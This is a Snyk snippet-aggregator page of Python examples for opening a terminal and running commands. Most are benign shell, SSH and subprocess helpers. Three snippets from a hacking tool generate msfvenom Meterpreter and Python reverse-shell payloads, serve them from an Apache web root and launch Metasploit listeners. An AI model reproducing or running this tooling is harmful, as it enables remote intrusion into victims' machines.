10 examples of 'python script to open terminal and run command linux' in Python

Every line of 'python script to open terminal and run command linux' code snippets is scanned for vulnerabilities by our powerful machine learning engine that combs millions of open source libraries, ensuring your Python code is secure.

All examples are scanned by Snyk Code

By copying the Snyk Code Snippets you agree to
this disclaimer
212def linux():
213 lhost = raw_input("Enter LHOST: ")
214 lport = raw_input("Enter LPORT: ")
215 name = raw_input("Enter Payload Name: ")
216 os.system("msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=%s LPORT=%s -f elf > /sdcard/EasY_HaCk/%s.elf"%(lhost,lport,name))
217 clear()
218 print "Payload Successfuly Generated"
219 print "[1]-Do You Want To Start a listenner"
220 print "[2]-Do You Want To Start an IP Poisener "
221 li = raw_input()
222 if li == '2' :
223 os.system('rm $PREFIX/var/run/apache2/httpd.pid')
224 os.system('apachectl start')
225 os.system('cp /sdcard/EasY_HaCk/%s.elf $PREFIX/share/apache2/default-site/htdocs/zaki/'%(name))
226 os.system('clear')
227 print "Your IP Successfully Poisened :\033[0m http://%s:8080/zaki/%s.elf"%(lhost,name)
228 listen = """
229 use exploit/multi/handler
230 set PAYLOAD linux/x86/meterpreter/reverse_tcp
231 set LHOST {0}
232 set LPORT {1}
233 exploit
234 """.format(lhost,lport)
235 with open('listener.rc', 'w') as f :
236 f.write(listen)
237 os.system('msfconsole -r listener.rc')
238
239 else :
240 listen = """
241 use exploit/multi/handler
242 set PAYLOAD linux/x86/meterpreter/reverse_tcp
243 set LHOST {0}
244 set LPORT {1}
245 exploit
246 """.format(lhost,lport)
247 with open('listener.rc', 'w') as f :
248 f.write(listen)
249 os.system('msfconsole -r listener.rc')
Important

Use secure code every time

Secure your code as it's written. Use Snyk Code to scan source code in minutes – no build needed – and fix issues immediately. Enable Snyk Code

228def linux():
229 lhost = raw_input("Enter LHOST: ")
230 lport = raw_input("Enter LPORT: ")
231 name = raw_input("Enter Payload Name: ")
232 os.system("msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=%s LPORT=%s -f elf > %s.elf"%(lhost,lport,name))
233 clear()
234 print "Payload Successfuly Generated"
235 print "[1]-Do You Want To Start a listenner"
236 print "[2]-Do You Want To Start an IP Poisener "
237 li = raw_input()
238 if li == '2' :
239 os.system('sudo service apache2 start')
240 os.system('sudo cp %s.elf /var/www/html'%(name))
241 print "Your IP Successfully Poisened : %s/%s.elf"%(lhost,name)
242 listen = """
243 use exploit/multi/handler
244 set PAYLOAD linux/x86/meterpreter/reverse_tcp
245 set LHOST {0}
246 set LPORT {1}
247 exploit
248 """.format(lhost,lport)
249 with open('listener.rc', 'w') as f :
250 f.write(listen)
251 os.system('msfconsole -r listener.rc')
252
253 else :
254 listen = """
255 use exploit/multi/handler
256 set PAYLOAD linux/x86/meterpreter/reverse_tcp
257 set LHOST {0}
258 set LPORT {1}
259 exploit
260 """.format(lhost,lport)
261 with open('listener.rc', 'w') as f :
262 f.write(listen)
263 os.system('msfconsole -r listener.rc')
32def shell(command):
33 cmd = shell_interactive
34 if command:
35 cmd += ' -c "' + command + '"'
36 try:
37 p = pexpect.spawn(str(cmd))
38 except Exception:
39 return
40 while True:
41 c = console.get_char()
42 if c == '\b': # BACKSPACE
43 p.send('\x7f')
44 elif c != '':
45 p.send(c)
46 while True:
47 try:
48 c = p.read_nonblocking(1, timeout=0)
49 except:
50 c = ''
51 if c == '' or c == '\n':
52 break
53 elif c == '\r':
54 console.write_line()
55 elif c == '\b':
56 if console.col != 1:
57 console.col -= 1
58 else:
59 console.write(c)
60 if c == '' and not p.isalive():
61 return
168def launch_terminal(self):
169 '''Starts off the terminal's game loop.
170 This function does not stop until the user has passed the level
171 '''
172
173 self.terminal.cmdloop()
293def raw_shell_posix(self):
294
295 import termios
296 import tty
297
298 self.raw_shell_mode = True
299
300 self.oldattrs = termios.tcgetattr(sys.stdin)
301 tty.setraw(sys.stdin.fileno())
302 tty.setcbreak(sys.stdin.fileno())
303 self.chan.settimeout(0.0)
304
305 # set pty size
306 s = struct.pack ("HHHH", 0, 0, 0, 0)
307 sz = struct.unpack ('HHHH', fcntl.ioctl(sys.stdout.fileno(), termios.TIOCGWINSZ , s))
308 self.chan.resize_pty(sz[1], sz[0])
309
310 ctrlc_count = 0
311
312 ctrlout = False
313 while self.raw_shell_mode:
314 try:
315 d = sys.stdin.read(1)
316 if not d:
317 break
318
319 if ord(d) == 3:
320 ctrlc_count += 1
321 else:
322 ctrlc_count = 0
323
324 if ctrlc_count > 2:
325 ctrlout = True
326 break
327
328 ret = self.chan.send(d)
329
330 if (not ret):
331 logger.error('ssh session closed.')
332 break
333 except socket.error:
334 logger.info("socket closed")
335 except:
336 logger.exception('exception in raw shell:')
337
338 if ctrlout:
339 logger.debug( '%s: switching back to line buffered commands' % self.node.name )
340 self.disable_echo()
341
342 self.revert_tty()
293def python():
294 lhost = raw_input("Enter LHOST: ")
295 lport = raw_input("Enter LPORT: ")
296 name = raw_input("Enter Payload Name: ")
297 os.system("msfvenom -p cmd/unix/reverse_python LHOST=%s LPORT=%s -f raw > /sdcard/EasY_HaCk/%s.py"%(lhost,lport,name))
298 clear()
299 print "Payload Successfuly Generated"
300 print "[1]-Do You Want To Start a listenner"
301 print "[2]-Do You Want To Start an IP Poisener "
302 li = raw_input()
303 if li == '2' :
304 os.system('rm $PREFIX/var/run/apache2/httpd.pid')
305 os.system('apachectl start')
306 os.system('cp /sdcard/EasY_HaCk/%s.py $PREFIX/share/apache2/default-site/htdocs/zaki/'%(name))
307 os.system('clear')
308 print "Your IP Successfully Poisened :\033[0m http://%s:8080/zaki/%s.py"%(lhost,name)
309 listen = """
310 use exploit/multi/handler
311 set PAYLOAD cmd/unix/reverse_python
312 set LHOST {0}
313 set LPORT {1}
314 exploit
315 """.format(lhost,lport)
316 with open('listener.rc', 'w') as f :
317 f.write(listen)
318 os.system('msfconsole -r listener.rc')
319
320 else :
321 listen = """
322 use exploit/multi/handler
323 set PAYLOAD cmd/unix/reverse_python
324 set LHOST {0}
325 set LPORT {1}
326 exploit
327 """.format(lhost,lport)
328 with open('listener.rc', 'w') as f :
329 f.write(listen)
330 os.system('msfconsole -r listener.rc')
8def open_terminal(self, cmd, cwd, name):
9 if os.path.isfile(cwd):
10 cwd = os.path.dirname(cwd)
11
12 for j, bit in enumerate(cmd):
13 cmd[j] = bit.replace("$cwd", cwd)
14 sublime.status_message('Opening "{0}" at {1}'.format(name, user_friendly(cwd)))
15 return subprocess.Popen(cmd, cwd=cwd)
51def _do_run_posix(script, command):
52 command_path = system_which(script.command)
53 if not command_path:
54 if project.has_script(command):
55 click.echo(
56 '{0}: the command {1} (from {2}) could not be found within {3}.'
57 ''.format(
58 crayons.red('Error', bold=True),
59 crayons.red(script.command),
60 crayons.normal(command, bold=True),
61 crayons.normal('PATH', bold=True),
62 ),
63 err=True,
64 )
65 else:
66 click.echo(
67 '{0}: the command {1} could not be found within {2} or Pipfile\'s {3}.'
68 ''.format(
69 crayons.red('Error', bold=True),
70 crayons.red(command),
71 crayons.normal('PATH', bold=True),
72 crayons.normal('[scripts]', bold=True),
73 ),
74 err=True,
75 )
76 sys.exit(1)
77 os.execl(command_path, command_path, *script.args)
78def execute(self, command, interactive=False, chroot=False):
79 """Refine the *execute* wrapper function, taking into account if
80 it must be executed in a chrooted environment. if *chroot* is
81 given, specials filesystems (*proc*, *sys* and *dev*) are mounted
82 before execution of the command and unmounted after.
83 """
84 if chroot and self.root:
85 self.__chroot()
86 command = 'chroot %s %s' % (self.root, command) \
87 if self.root \
88 else command
89 result = super(LinuxHost, self).execute(command, interactive)
90 if chroot and self.root:
91 self.__unchroot()
92 return result
163def sh(args=''):
164 invoke(r'%s\bin\sh.exe' % options['cyghome'], args)

Related snippets